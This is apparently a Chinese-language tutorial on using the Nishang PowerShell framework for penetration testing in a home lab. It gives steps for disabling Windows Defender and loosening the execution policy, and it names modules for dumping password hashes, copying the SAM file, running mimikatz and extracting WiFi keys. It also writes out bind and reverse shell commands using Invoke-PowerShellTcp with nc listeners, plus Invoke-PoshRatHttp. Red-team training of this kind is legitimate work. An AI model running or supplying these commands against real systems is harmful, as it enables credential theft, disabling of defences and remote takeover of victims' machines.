"nishang"是红队活动和渗透测试中广泛使用的powershell框架,它提供许多强大的攻击模块和命令,用于各种渗透活动中的各种任务,如远程代码执行,横向移动,后门植入等等。
下载地址:https://github.com/samratashok/nishang
下载就没什么好说的了,最好使用git下载,压缩包可能会出现问题(反正我压缩包整了好久,没整好),nishang脚本需要powershell3.0以上的版本,win7的powershell版本为2.0,会有很多问题,推荐使用win10。
以管理员身份运行powershell,进入脚本所在的目录
导入模块,但是首先要修改策略组,powershell默认是不允许加载脚本的。
PowerShell执行Get-ExecutionPolicy命令来查看默认的策略组。
PowerShell下执行Set-ExecutionPolicy remotesigned。再次导入,就导入成功了。
我这里已经是remotesigned状态了,接下来直接导入模块,发现报错。发生报错是因为没关闭win10的defender,报毒了。
关闭后重新导入。Import-Module -verbose .\nishang.psm1
上图属于正常现象,我们查询导入的模块信息。Get-Command -Module nishang
用来检测机器是否为虚拟机
这个脚本必需正确的输入登录的用户名和密码,否则无法去掉这个对话框,除非杀进程。
输入正确的密码后,能显示明文密码。
得到计算机的一些信息
获取计算机所有用户的hash值
获取计算机密码的提示,这个也是很重要的。
复制SAM文件到当前目录
神器mimikatz,抓取密码,获取凭据,伪造票据,模拟登录等等。
对内网的主机进行探测,我内网148的机器开放着80端口,所以它connected to port 80。
获取计算机连接过的wifi密码,由于我是虚拟机,没有连接过wifi,所以无法演示,这个脚本其实就是netsh wlan show profile name=”” key=clear
攻击机 kali 192.168.161.148
靶机 win10 192.168.161.151
-ipaddress 反向连接需要的ip地址
-reverse 反向连接
-bind 正向连接用到的端口绑定
-port 正反向需要的端口
(1)正向连接(目标一般在外网,攻击机在内网)
靶机执行
.\Invoke-PowerShellTcp.ps1
Invoke-PowerShellTcp -Bind -Port 8888
攻击机使用nc正向连接靶机
nc -nv 192.168.161.151 8888
(2)反向连接(目标一般在内网,攻击机在外网)
攻击机设置监听nc -lvp 8888
靶机反向连接攻击机
nvoke-PowerShellTcp -Reverse -IPAddress 192.168.161.148 -Port 8888
和tcp协议命令差不多
(1)正向连接
(2)反向连接
这里用win10当作攻击机 win7为靶机(192.168.161.146)
在攻击机上执行
Invoke-PoshRatHttp -IPAddress 192.168.161.151 -Port 8888
会生成一段命令,放在win7的cmd中执行,直接上线。